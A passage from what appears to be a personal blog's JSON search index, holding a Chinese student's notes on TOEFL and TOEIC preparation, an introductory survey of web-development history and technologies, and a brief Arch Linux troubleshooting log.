fireworks\n题目抽象,但是我们写比较细节的例子.\n更自私了还是更利他的社会:\n学术写作 # ​\t清晰表达,相关,连贯.\n​\t查重严格.\n​\t解释,例子,细节.\n​\t多样,准确,地道的用语,基本没有语法和用词的错误.\n​\t短,重视逻辑.\n闭合式问题和开放类问题\n1.闭合类问题进行选择\t两方观点\u0026mdash;\u0026gt;选择之后选择新的观点(也可以进行原来观点的详细的补充,可以但是不鼓励,要更深入)\n选择A,可以让步 + 反驳B 但是要把自己的观点写明白\n2.开放类可以选择,也可以给出自己观点\u0026mdash;\u0026gt;给明确观点(就是说你自己可以举例子,那么就是开放的)\nA好不好?\u0026mdash;\u0026gt;可以中庸.\nA是什么?\u0026mdash;\u0026gt;选定是什么.\n论证手法 # Topic Sentence:\n1.写完整的句子 I agree with the statement that + \u0026hellip;\u0026hellip;\n2.should be an abstract view point\n3.needs to be concise\n4.guides the whole paragraph\n因果关系:\n获取 get access sth/access to sth\nbecause of\tthanks to\tSince\tBecause\n对比:\nIn addition\u0026hellip;\u0026hellip;\t另外怎么样\u0026hellip;\u0026hellip;\nFor instance\u0026hellip;\u0026hellip;\t例如,比如\u0026hellip;\u0026hellip;\nUnlike the modern spots, the historical sites usually show(provide exposure to) long history and impressive culture to the spectators.\nsb be exposed to culture./sth provide exposure to.\nCompared with\u0026hellip;\u0026hellip;\nBy contrast\u0026hellip;\u0026hellip;\u0026mdash;\u0026gt;引出和这个句子之前的相反的思路\nContrary to the common belief that\u0026hellip;\u0026hellip;\u0026mdash;\u0026gt;引出相反的想法.\n让步转折.\u0026mdash;\u0026gt;不错,感觉更辨证.\n分类讨论:(分类,但是注意不要纯否定别人)\n综合写作 # 假说类/优缺点类\n简单做笔记\u0026mdash;抄英文关键词\nplausible 似是而非的\n会进行对于观点的一一反驳.\n还是吃听力\u0026mdash;\u0026gt;细节越多越好,听到了就狂写\n阅读改写,听力可以写原文并且尽量写原文(不会写就自己表达).\nListening # 背单词 + 相关背景知识 + 练习\n记哪类单词:\n1.转折类单词\n2.否定类单词\n3.极端类单词\n​\t最高级,比较级,序数词\n对话 # Office Hour # S-P\nS-E\n三要素:\n1.人物\n2.环境\u0026mdash;地点,时间之类\n3.情节\n?问题\tR原因\tS建议/解决方案\n人设:本科生\n​\t1.专业\t2.年级\nsubject:\n人类学:Clovis\tnative american\n远古人:\n1.来美洲\n2.发展历史\thunting\u0026amp;gathering-\u0026gt;nomadic(游牧民族)\u0026amp;domesticate-\u0026gt;agriculture\n3.灭绝\t气候,疾病\n对话主旨解法:\n审题:\n1.why 目的主旨 90%\t举例子的目的?\n​\t问谁,谁回答(进门前,学生最初的问题)\n​\t答案位置:开头比较多\n2.what 内容主旨\n​\t控球率\n写论文 # paper(托福用的单词)\n1.题目 topic\n2.摘要 introduction\n3.正文 body\n4.参考文献 reference\n写作范围太宽\t推迟deadline\u0026mdash;extension(扩展时间)\toutline\n评语 comment\nService Encounters # 注册\t宿舍\t社团\t书店/商店\t志愿\t实习之类的\n有些逆天双重否定 not unlike sth\u0026mdash;不是不像\nfaculty教职工\ndepartment\u0026mdash;在campus里面就不是指部门,指学院\nfunding\t钱,基金,赞助\n讲座 # ​\t历史 考古 人类学 心理 社会学 商科/经济学 哲学 教育学(基本都是文科的主题,因为理工科术语比较复杂并且过于有专业性,大概)\nArcheaology # site\t地点\tgrave/tomb(坟墓)\nform 构造\nfunction 功能\ndigging-\u0026gt;tool fossil artwork\ntribe-\u0026gt;tribe war\n基本结构:\n讲座态度解法:\n肯定程度:\n肯定 否定 不确定\n(大部分在结尾的位置)\nArt\u0026amp;History # 小背景:\nFresco 湿壁画(最后的晚餐)\nBrushstroke 笔触\ntexture 画布\ncanvas 油画\n肖像画\nArt Criticism\t评论家,鉴赏家\n1400-1600 Renaissance\n1600-1700 Baroco\n1700-1800 Rococo\n艺术家传记讲座\n1.独特 unique\n2.*风格 style\n3.作品 work\n4.*经历 event\u0026mdash;\u0026gt;风格是怎么形成的\n5.P 来自教授的评价\u0026mdash;\u0026gt;非常好\n画作欣赏:\n1.主题 subject\n2.背景 background\u0026mdash;构图\n3.色彩 color\n4.笔触 brushstroke\n艺术家主旨答案:\n1.艺术家本人\n2.ta的风格\n3.ta的作品\n4.ta的观点\n历史学:\nacoustic 声学的\n自然科学 # 天文学和地理是类似的\n内容主旨\u0026mdash;一般比较简单.(也不一定)\n题目文章同步\n主旨题覆盖全文\n重听题目就不一定\ncore-mantle-crust-atmosphere\nlava-magma\n选择的原则:\n动物植物学/生态学 # 动物考察通类,不考察特殊的species.\n行为 behaviour\u0026mdash;原因 reason\n生理结构 organ/cell brain/heart高频 器官的功能等\u0026mdash;able to do sth\nresponsible for\n重听题目\n1.一般重听题目\n2.推断题目 imply infer\n​\t答案不是原文.\n​\t选用逆向思维.\n出题:\nA类:奇怪的tone 语气.\n​\t朴实:but转折代表的含义.\nB类:全部信息.\n​\t部分信息,往上文思考,之前的信息没有给全,比较有难度.\n植物学:\nalgae 藻类 photosynsize进行光合作用\nbacteria fungi\u0026mdash;真菌\n遗传学:dna 基因\n生态学\n生态问题\u0026mdash;人类\u0026mdash;治理方法\u0026mdash;解释方法的原理\u0026mdash;例子\nReading # 句子简化 # ​\t我的评价是,如果你看懂了句子,那你就不需要语法,但是阻止你看懂的可能就是某些复杂的语法(废话).\n改变,遗漏重要信息.\t一般都是超级长难句\n句子:主干 + 修饰 + 逻辑\n谓语:predicate\n1.主干\u0026mdash;\u0026gt;主谓\n2.修饰,限定还是补充\n3.逻辑,主干之间的关系\u0026mdash;\u0026gt;相似还是主次\n非限定修饰语:nonessential\n句子:sentence\n分句:clause\nparaphrase:替换\t如果替换了部分内容有没有问题\ne.g. : exempli gratia\npaleontologists 古生物学家\ninvasion 入侵率\nspore 孢子\npropagules 遗传物质\n事实信息 # 没有固定形式\u0026mdash;\u0026gt;根据某个自然段,可以\u0026hellip;\u0026hellip;\nimply-\u0026gt;implicit 暗示的\nexplicit-\u0026gt;明显的\n限定词 + 抽象 = 具体\nin the presence of 存在\n否定事实信息\u0026amp;推断 # 不正确或者文章中的信息没有包含.\nverify\u0026mdash;\u0026gt;确认.\n推断都是比较直接的.\n修辞目的问题 # 我还是认为读懂就能解决一切问题.\nbe responsible for\u0026mdash;是\u0026hellip;的成因\neliminate\u0026ndash;排除什么\t可以是为了排除怎样的观点.\n观点:opinion view hypothesis theory\n段落目的,和与其他段落的关系.\ncomprehensive look\u0026mdash;广泛的视角\n插入文本题目 # 第九题.\n有明显的指代词,或者逻辑关系.比如 They believe限制了就是人类.\n并列:also,other\u0026mdash;并列的双方长度可能相似\n因果:consequently,thus\n反向:but,however,on the contrary\ndelineate:表达,描述,描绘\nAnd yet(反向的关系)/thus/also:and 可以加上很多逻辑词语\n后面的指代也有可能指代到前面的部分.\n表达积累 # ​\t练习作文和口语这样的输出内容的任务\u0026mdash;\u0026gt;使用句子.\nThere is no such secret ingredients.\t世上无捷径.\nListening to our intution and gut feeling is essential.\n\u0026hellip;,which leads to a sense of frustration.\n","date":"4 August 2025","externalUrl":null,"permalink":"/life/toefl/","section":"Life","summary":"\u003ch1 class=\"relative group\"\u003eTOEFL \n    \u003cdiv id=\"toefl\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#toefl\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t这个笔记用来记录托福的备考.我是报了一个新东方网课,但是肯定自己要好好准备,线下的课程太贵并且我懒得通勤,大概就是这样的.\u003c/p\u003e\n\u003cp\u003e​\t\u003cstrong\u003ePractice makes perfect!!!\u003c/strong\u003e\u003c/p\u003e","title":"Toefl","type":"life"},{"content":" Web_Development # ​\t本文是关于web开发导论的一些内容，主要是为了对于web开发有一个现代并且全面的认知，说来惭愧，笔者现在大二已经结束，但是对于web开发还是没有一个深刻的认知，仅仅停留在写过一些前端和Java代码上面，从这里作为起点，我们来开始对于Web开发的探索，希望能成为我dev的指明灯。\n​\t这里就仅仅是通识性的知识。仅作个人笔记使用。\n​\t“什么是”，但是不是“怎么用”。\nPart 1: 启蒙与巨石时代 # 1.B/S架构软件与Web开发的初步认识 # 简单对于前端学习可以看freecodecamp，很不错。（但是前端本身是很复杂的）\n必须经过系统学习。\nC/S\tB/S\u0026mdash;》通用：浏览器（Browser/Server）\nHTML\u0026mdash;》基本网页内容和结构\tCSS（级联样式表）在HTML中选择元素进行设计\tJavascript\u0026mdash;》真正的编程语言，网站的交互（用户和浏览器，浏览器和服务器）\n早期 jQuery\n2.前后端交互的初步认识 # 历史记录，登录验证这样的处理是怎样做到的？\n用户之间是怎么加好友发消息的？\n后端：主要和数据处理相关 # 1.服务器\n2.编程语言：Java php golong ruby rust python Node.js\n3.框架：spring spring boot flask gin bego rails\n4.数据库：CRUD MySQL MongoDB Redis\u0026mdash;》非关系型，主要用于缓存\n5.Linux，可能包含运维相关的东西。\n6.API：应用程序编程接口。\n3.单体架构应用 # 一个文件内部实现前后端，每次更改重新构建项目。\n1.混沌时期：\n2005：博客，论坛，早期电商 # 单体架构应用（Monolithic Architecture）\n一个软件的所有功能都在一个单元内部。前后端没有分离。\u0026mdash;》php一个项目\n技术栈：LAMP/WAMP组合。\nL/W：Linux服务器还是Windows服务器。\nA:Apache，主流web服务器。负责接收来自浏览器的http请求，并且转发给后端的程序。（HTTP Server）\nP:PHP，调用Apache服务器，或者py（不适合做web开发）/Perl。\n工作流程:\n1.浏览器向服务器发送一个请求。GET/ Products?id=123\n2.ApacheServer收到请求，发现是PHP请求，商品123的信息。\n3.PHP脚本开始执行，根据数据和预先写好的html模板(静态的)进行混合渲染，动态生成一个完整的页面（不同用户网站数据不相同，定制的,就比如B站的个人主页）。\n4.这个文本返回给Apache，相应返回给用户的浏览器。\n5.在用户的浏览器上进行渲染。JS做一些动画之类的效果。\nPHP：脚本，在html内部写php语言（前后端混在一起了），jsp是类似的，直接就可以和数据库进行交互之类的操作。\n功能复杂，模块化。所以php和jsp基本已经被淘汰了。\n4.前后端分离的进程和技术的演进 # 2004-2010：前后端分离的萌芽期 # ​\tAjax：一种用js实现的技术。Asynchronous：异步，可以不用请求整个页面就可以局部维护或者更新数据。\n​\tXML：一种数据格式。\n​\t现在用JSON：Javascript object notation\n2010-2014：标准的前后端分离 # SPA：单页面应用。\nWeb API的标准：前端和后端之间通信的标准和规范。\nrestful API：\n​\tAPI：application programming interface\n​\t1.请求什么数据2.以什么格式请求3.返回什么格式的数据\nREST：REpresentational state transfer\t表现层状态转移\n所有东西都是资源\t资源都有唯一标识符，就是URL\n这样的一个“链接”就是URL。\nhttps://ja.wikipedia.org/wiki/%E3%83%A1%E3%82%A4%E3%83%B3%E3%83%9A%E3%83%BC%E3%82%B8 表现层：\nJSON\tXML\tHTML\t在Client和Server之间转移的形式\n状态转移：\n资源发生变化的过程：比如用户发起一个删除的操作。\nlogin.jsp：已经淘汰了。\n计算机网络：Cookie工作原理。每当有一个用户的时候，就要创建一个对象。\n不用session的原因。（反而会使效率变低）\n负载均衡，分担流量。\nrestful API\t无状态\n六大约束：\n1.客户端和服务器必须相互独立。\n2.无状态\tserver不能存储任何session\t为什么学Spring\n​\t所有请求都必须包含服务器所需要的全部信息。\n3.可缓存\n4.统一接口 uniform interface\n​\t资源标识符\tJSON，用表现层操作资源\n​\t自描述信息\tHATEOAS，超媒体作为应用状态的引擎\n5.分层系统\n​\tClient不知道自己具体和谁在通信。\n6.按需代码\n5.HTTP,RESTful API,Token,GraphQL # 介绍相关的概念。\nHttp Verbs:一次行动的目的。GET POST\u0026hellip;\u0026hellip;\n我们用汇编写了一个Server，对于这些理解的就会很深刻了。\n你要对于地址做什么动作，获取信息还是提交表单。\nCRUD：最早是http verb。\nGET：获取信息。\nPOST：创建。登录，注册。\nPUT：更新替换。\nDEL：删除。\nPatch：局部更新。\n实际企业使用只使用POST和GET。不用物理删除，用软删除，标记状态即可。\nCookie：不安全。不用Session和Cookie，保存状态。\n中间人攻击，流量劫持。\n现代使用Token。JWT技术。（JSON Web Token）令牌格式。\n授权协议\nOAuth 2.0\n1.访问令牌 JWT\n2.刷新令牌\n认证协议\nOpenID connect OIDC\n身份协议\nID TOKEN\n2015至今 # React Vue.js的诞生 Angular\nNode.js\nGraphQL:架构风格。解决什么问题？\n流行技术。\n比较有意思。\n/users/123\t返回了很多的数据，数据过载\n/users/123/posts?limit=5\t多次请求\n精确确定需要什么数据，不会过载。\n一次请求完成多个数据。\nFor example, the query:\n{ me { name } } Could produce the following JSON result:\n{ \u0026#34;data\u0026#34;: { \u0026#34;me\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;Luke Skywalker\u0026#34; } } } 前端工程化。\n四驾马车：\n1.包管理器（库很多）：NPM，Yarn安装第三方库\n2.构建工具：webpack，并行开发，技术栈独立演进，职责边界清晰。\n​\t整合工具。\n3.框架，库\treact vue\n4.编译器/转译器：比较新。ECMAScript这是一种设计的规范。\n接下来是前后端分离的实际演示。\n服务器软件。\n前几天学了web安全，理解起来比较轻松，通识课还是比较简单。\n6.后端框架Java与Spring全家桶的时代演进 # 过去很笨重 Servlet API -\u0026gt; Java Web J2EE\nSpring全家桶 # 打包成war包，然后部署到Tomcat上面去\t重量级并且繁琐\nSpring Boot\n2004年：Spring Framework诞生\n1.IOC：控制反转\t容器\tDI注入\n2.AOP：面向切面编程\t处理权限问题\nSpring MVC（model view controller）一种设计上的方法\n专门处理web请求 http verb\nController：控制路由\t复杂业务就是Service，比如操作数据库的内容\n配置非常繁琐，很复杂，那么就有：\nSpring Boot\u0026mdash;配置说明书，帮你组装配件\t2014年，很多大项目都使用\n约定优于配置。优点是稳定，为微服务打下了基础。\nPart 2: 工业革命与未来之光 # 7.微服务架构与分布式系统的时代历程与技术演进 # 微服务革命 # 感谢你带来更多的就业岗位。（）\n原来是单体架构\n2015至今\t业务需求演变\n​\t不是简单的一个应用，分为很多的服务模块，比如B站的直播应用就是一个单独的应用，以及某某区，我们都要把这些东西分开。\n微服务：\n三独立原则。\n1.独立开发\t不同团队负责不同的模块，有100%控制权\n2.独立部署：最大的优势\n3.独立数据存储，每个微服务都有自己的数据库，不能跨数据库查询\n不同服务之间通过自己的API进行交互。\n优势\n1.技术的异构性\t每个团队都可以采用不同的技术\n微信小程序也是依赖于微服务的API接口\n所以我们说语言和框架不重要，对于大厂。\n性能Rust Golang\n稳定，核心：Java Spring\n推荐算法，数据科学：Py\n2.极致的扩展性\u0026mdash;外科手术般的精准扩展\n3.容错和隔离\n系统有很强的健壮性，就是因为独立性\n局部坏死没有关系\t熔断，服务降级\n分布式\u0026mdash;分布式系统（御坂网络）\t网络互联的计算机的集合\nNetflix部署\n莫名奇妙跟风微服务，某些商城项目。\n2019，技术鸡汤年，滥用微服务。拆分不见得是好处。\n解决分布式的问题：\n如何分配任务？\t负载均衡:分担流量。\n相互沟通？\t网络通信。\n出错？\t容错，高可用。\n版本？\t配置管理。\n出错？\t分布式追踪。\n微服务架构是一种分布式系统（比如bit coin），一种设计的原则。\n集群\n三大论文：分布式数据库相关问题。\nGFS\nMapReduce\nbigtable\n它们带来了大数据时代。\nhadoop hbase\n云计算：在这些分布式系统上进行计算。\nAWS\t亚马逊云，按需分配\n资源共享和高性能计算。\nSpark tensorflow\n地理分布，低延迟\nCDN 内容分发网络，计算机网络中我们学习过。\n简单实现 # 学生服务\tCRUD 3001端口（不能冲突）\n课程服务\t3002端口\n前端应用\nAPI网关\u0026mdash;总服务台\t3000端口\nnmp vite vues node.js快速搭建微服务\n补充：RPC和gRPC # 不同服务之间不能直接访问数据库，可以用API\n这里用RPC，远程过程调用，调用另一台计算机上的方法，不用关心计算机网络，更方便。\n同TCP协议。\ngRPC用http，更快，效率更高。\n.proto文件\nNginx反向代理 # service a localhost：3001\nservice b localhost：3002\n我要管理这些服务。\n访问某个域名的时候，到底选择哪个服务。\n8.前端工程化的新潮流技术提醒 # yarn npm pnpm（新技术）\n包管理工具\n现在service用ts比较多，比js舒服一些\nexpress 比较老的框架\t有simform\tRspack\tBun\nDeno\n反正新东西多得夸张，新的库，框架，层出不穷，日新月异。\nCSS\u0026mdash;tailwind CSS\n编译器：Babal Web\n预处理器：sass-lang\tless-css\nCSS框架：getbootstrap\tbulma\n前端测试：jest mocha js\n状态管理：redux mobX VueX Zustand\n前端安全： CORS（web安全）\n静态生成器：hugo，本网站就使用了hugo来搭建\nVercel：服务器部署\u0026mdash;趋势（重点）\n前端监控：sentry\u0026mdash;体量很大\n前端代码质量：eslint prettier\n文档生成：storybook gitbook\n前端组件库：Ant material（md风格，很纯的安卓） element ui\n前端动画：gasp framer motion anime.js\n前端图表库：d3.js chart.js echarts\n前端模块化：es modulws common.js AMD front\n前端跨平台：react native重置过的项目很多 Flutter（感觉更先进）\u0026mdash;趋势 Dart\nPWA 渐进式web应用\n9.再谈后端的发展趋势和技术词 # 小公司：前后端都用js或者ts。\u0026mdash;全栈工程师，技术很杂，很依赖个人能力和团队规范，不适合CPU密集型任务。ts解决这个问题，js的超集。\nSpring全家桶：超级航空母舰，更可靠。\n这取决与应用场景。\nSpring Cloud：服务发现，API网关，声明式http客户端，熔断器，分布式配置中心\nPython？语法简单。Django，Flask FastAPI\n效率更低\t全局解释器🔒\t在有的微服务项目中也会大量的使用\nwebsockets RabbitMQ Rocket MQ\nwebhooks\t服务器之间事件回调的机制\nORM\t对象关系映射\t和Java合作的数据库框架 mybatis不用JDBC\nPrisma python数据库\ttypeorm\tsequelize\n改不了字段怎么办\n后端测试：pytest unit testing mocha integration apitest json Postman（不能不会）\nweb server：Nginx\n10.云原生时代的演进与发展，容器化，容器编排，DevOps：Golang的时代潮流在哪里？ # 云原生浪潮和现代工程化 # 容器化技术\t解决很难部署的问题，大量服务器，还有版本的问题\n环境隔离的解决方案\u0026mdash;虚拟机\n物理机\u0026mdash;虚拟机\nVM hypervisor在服务器模拟计算机\n那么每一个虚拟机都要一个完整的OS，这是很麻烦的，我们就迎来了容器。\n2013：Docker 容器 # 我们也学习过一些关于docker的内容\n轻量级，容器镜像不包含操作系统内核。\nLinux namespaces\t命名空间，认为自己是隔离的\ndocker仓库的概念，什么都有，拉取镜像。\n容器编排 # Google Kubernetes k8s\n理念：提供一种声明式的工作方式。\n控制循环：当前状态和期望状态进行比较，高级部署策略，自动扩容，自动修复。\n存储化编排。\n管理微服务集群的解决方案。\nCI/CD DevOps # CI：持续集成，开发者每天会把自己的代码自动合并和build。\nCD：持续交付/部署。\nDevOPs：筒仓效应。(Soli Effect)\u0026mdash;过度分工\nYOU BUILD IT, YOU RUN IT.\nGolang # 最耀眼的就是多并发场景。\nGoroutine：超轻量级线程。数百万个都是有可能的。\n实现非阻塞的高并发。跨平台编译。性能之王。\n​\tB站主站的微服务架构（有1600个微服务，全部由Golang实现），Bangumi，Youtube，适合直播，庞大的流量。\n​\tKratos，B站的开源项目。\n​\tDocker引擎就是Go写的。\n接近C，Cpp但是很安全和方便。\nGin\tFiber\tGo的框架\n11.元框架技术形式的当下与未来 # 元框架的大一统\nNext.js-\u0026gt;React\nNuxt.js-\u0026gt;Vue.js\n1.混合渲染模式\nCSR 仪表盘，数据频繁变动\u0026mdash;可以自行决定前端还是后端进行渲染\nSSR 服务端渲染\n数据响应式\nSSG 静态站点生成\nISR 增量静态再生\t比如动态墙\n2.*API路由，后端的内化\n文件夹即路由，即API\n12.Serverless与边缘计算的趋势与未来 # 物理机\t所有东西都要自己配置\n虚拟机\t买云服务器 + 域名，变得更简单\n容器化\nServerless无服务器\t开发者不应该担心运维问题\nFaaS 函数即服务\u0026mdash;服务器没有使用就不收费，只有function在工作的时候才会收费（事件驱动）\n可以弹性伸缩。\n场景：实时处理，AI生成内容，物联网比较重要。问题是状态的保存，要数据库。\nBaaS 后端即服务，只用调用平台提供的SDK即可，不需要自己安装服务。\nsupabase\n边缘计算\u0026mdash;光速终究有限\n游戏加速器的实现\n中心仓库\tCDN内容分发\nVercel很不错\n​\tAI开发可以，但是在可预见的未来，公司的实际项目不会使用，或者最多只能参与测试的一小部分。辅助，但不是全自动化的。\n13.版本控制（VCS）的发展历程和git # git是怎么实现的？\n追踪记录\n版本回溯\n协同工作\u0026mdash;多个开发者工作\n备份和恢复\n1.Local VCS本地版本控制\u0026mdash;追踪代码和文件变更，不支持多人开发\nSCCS Source Code Control System\n七十年代 贝尔实验室\nRCS Revision\n2.集中式 VCS\nCVS 八十年代 不支持原子提交\nSVN Subversion 版本控制的内容更好了 2000年 中央服务器单点故障的问题\n3.分布式 DVCS\n2005年 git\nLinus\n每个开发者有完整的代码仓库，有完整的历史记录。\n本地进行，速度快，强大的分支模型。\n数据完整性。\n托管代码仓库平台 Github 2008年上线，塑造了现在的基本盘\n不会就直接查文档，git写的很nb，有问题直接查。\n14.依赖管理的意义 # 第三方库\t拓扑排序的感觉\n你引入的库相互依赖，且相互依赖的版本还不一样。\n手动管理会带来灾难。\n依赖管理器 自动化工具\n查找\nManifest File 清单文件\nLock file 锁定文件\n​\t总之，我们已经理解，web开发到了现在已经不仅仅是web开发的问题，而是一个更为庞大的生态，有趣并且复杂。虽然就业很难,但是一开始的学习以兴趣为导向是没错的(我是说你有时间的时候),如果是为了找实习找工作,那就是另一个话题了对么.\n​\t2025.12.16:回来看,还真是另一个话题,劳累且没有什么动力!\n","date":"1 August 2025","externalUrl":null,"permalink":"/tech/web_development/","section":"Tech","summary":"\u003ch1 class=\"relative group\"\u003eWeb_Development \n    \u003cdiv id=\"web_development\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#web_development\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t本文是关于\u003cstrong\u003eweb开发导论\u003c/strong\u003e的一些内容，主要是为了对于web开发有一个现代并且全面的认知，说来惭愧，笔者现在大二已经结束，但是对于web开发还是没有一个深刻的认知，仅仅停留在写过一些前端和Java代码上面，从这里作为起点，我们来开始对于Web开发的探索，希望能成为我dev的指明灯。\u003c/p\u003e\n\u003cp\u003e​\t这里就仅仅是\u003cstrong\u003e通识性\u003c/strong\u003e的知识。仅作个人笔记使用。\u003c/p\u003e\n\u003cp\u003e​\t“什么是”，但是不是“怎么用”。\u003c/p\u003e","title":"Web_Development","type":"tech"},{"content":" logs # archlinux # ​\t关于安装和后期维护的问题.\ngrub引导报内核不存在 # 放一个gpt的链接,连续解决了两次问题,总体就是要在ubuntu里面整理一下引导项.\nhttps://chatgpt.com/share/689dc2a8-b5e8-8012-a02e-354b56a7c802\n图形界面无法正常加载的问题 # 到最后也没太明白到底为什么,好像是intel核显和nvidia显卡竞争的问题?\n可能是前段时间系统升级导致的,可以看看这个过程,如果有懂得教教我\u0026hellip;\u0026hellip;\nhttps://chatgpt.com/share/68c0e44f-15c0-8012-a530-0591fc8219f6\n","date":"28 July 2025","externalUrl":null,"permalink":"/tech/env_setup_log/","section":"Tech","summary":"\u003ch1 class=\"relative group\"\u003elogs \n    \u003cdiv id=\"logs\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#logs\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\n\n\u003ch2 class=\"relative group\"\u003earchlinux \n    \u003cdiv id=\"archlinux\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#archlinux\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t关于安装和后期维护的问题.\u003c/p\u003e","title":"Env_setup_log","type":"tech"},{"content":" Toeic备考 # ​\t看看能不能10天之内速通Toeic的简单记录，用的是新东方的1000题，因为看到网上都用这个。然后就是XDF的题目好像普遍难度偏大一些。\n​\t估分就直接按照1道题目5分来算吧。暂定的目标分数是730/990。\nindex 听力 阅读 总分 1 375（错25个） 400（错20个，应该超时了，我靠） 775 2 385（错23个） 335（错33个，10个没写） 720 3 370（错26个） 335(错33个，但是写完了，我靠，绷不住) 705 4 385（错23个） 350（5个没写，错30个） 735 5 355（错29个） 335错33个（六个没写） 690 6（真题） 460（错8个） 420（错16个，刚好写完） 880（希望真题就这个水平） 7 / / / 8 / / / 9 385（错23个，看来是没有什么变化了） 懒得写了 385 + ？ 10 / 385（错23个，提前3min写完，状态最好的一集） 385 Word # ​\t说实话，刚考完N2,而且好久没有学过英语了，有点没有动力，但是不想浪费808元RMB。\n2025.7.9 # 刚开始听，状态不是很好。\n阅读一定要做快，题太多，根本做不完。\nreserve a larger hall\noverhead projector\nfiling cabinet\n2025.7.10 # 心态不重视，实际上很难做完，刚开始的时候就要抓最紧的时间来写，就能写完。\nassemble\nmake up one\u0026rsquo;s mind\ncondolences\t哀悼\nbe forecast to\t过去分词不变形\nRSVP\t请回复\u0026mdash;\u0026gt;还是法语，我靠\nfeasibility\t可行性\n2025.7.11 # 最后几个容易走神，注意力要集中。\n73min做完了，但是正确率又下降了，新东方的阅读还是很难，有时间做一套真题看看情况。\nstroll\t闲逛\ncompensation\t补偿\nobligation\t义务\n2025.7.12 # 今天休息了一天，看了一天BangDream,毁了。\n2025.7.13 # 这阅读怎么提升，很逆天啊。\n还是错23个听力，感觉一直就是这个实力了。\ndespite（不管，不顾） although（尽管）\n2025.7.14 # ​\t感觉听力也不是光听就能提升的，最后实在是很难集中精神了，最后一列题目就错了11个，很累。这东西没办法学啊，明天做一套真题看看吧。\nplant：有工厂的意思\nrelocate\t搬迁，迁移\ncredit A with B\t把B归功于A\nBarring\t除非，除了\n2025.7.15 # ​\t太热了，一点精神都没有我靠。先做一套官方的原题看看难度。\n这个真题好像确实不是简单一点点，很简单。稍微有些信心了。\nship\t有装运的意思，把货物装到轮船上面去这样的意味\n2025.7.16 # ​\t休息一天，这牛马考试真是煎熬。\n2025.7.17 # ​\t今天再休息一天。初步开始toefl的学习，先背单词。\n2025.7.18 # ​\t背单词，然后再写一套听力，这个是真坐牢。\n2025.7.19 # ​\t最后一天，背单词，写一套阅读题看看。明天考试，小日记到此为止了。。。。。。\n​\t有一说一,不知道为什么正式考试的听力这么难.不过就我的练习时长来说也就是一分钱一分货了,反正交换是够用了.\n","date":"9 July 2025","externalUrl":null,"permalink":"/life/toeic/","section":"Life","summary":"\u003ch1 class=\"relative group\"\u003eToeic备考 \n    \u003cdiv id=\"toeic%E5%A4%87%E8%80%83\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#toeic%E5%A4%87%E8%80%83\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t看看能不能10天之内速通Toeic的简单记录，用的是新东方的1000题，因为看到网上都用这个。然后就是XDF的题目好像普遍难度偏大一些。\u003c/p\u003e\n\u003cp\u003e​\t估分就直接按照1道题目5分来算吧。暂定的目标分数是\u003cstrong\u003e730/990\u003c/strong\u003e。\u003c/p\u003e\u003c/blockquote\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth style=\"text-align: center\"\u003eindex\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e听力\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e阅读\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e总分\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e1\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e375（错25个）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e400（错20个，应该超时了，我靠）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e775\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e2\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e385（错23个）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e335（错33个，10个没写）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e720\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: 